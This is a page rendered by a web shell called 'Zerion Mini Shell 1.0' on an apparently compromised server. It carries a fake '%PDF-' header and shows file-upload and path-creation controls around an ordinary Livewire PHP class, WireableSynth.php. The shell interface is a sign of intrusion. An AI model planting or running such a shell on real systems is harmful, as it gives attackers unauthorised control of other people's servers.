%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/production/vendor/livewire/livewire/src/Features/SupportWireables/
Upload File :
Create Path :
Current File : /www/loslex/production/vendor/livewire/livewire/src/Features/SupportWireables/WireableSynth.php

<?php

namespace Livewire\Features\SupportWireables;

use Livewire\Wireable;
use Livewire\Mechanisms\HandleComponents\Synthesizers\Synth;

class WireableSynth extends Synth
{
    public static $key = 'wrbl';

    static function match($target)
    {
        return is_object($target) && $target instanceof Wireable;
    }

    function dehydrate($target, $dehydrateChild)
    {
        $data = $target->toLivewire();

        foreach ($data as $key => $child) {
            $data[$key] = $dehydrateChild($key, $child);
        }

        return [
            $data,
            ['class' => get_class($target)],
        ];
    }

    function hydrate($value, $meta, $hydrateChild) {
        foreach ($value as $key => $child) {
            $value[$key] = $hydrateChild($key, $child);
        }

        return $meta['class']::fromLivewire($value);
    }

    function set(&$target, $key, $value) {
        $target->{$key} = $value;
    }
}

Zerion Mini Shell 1.0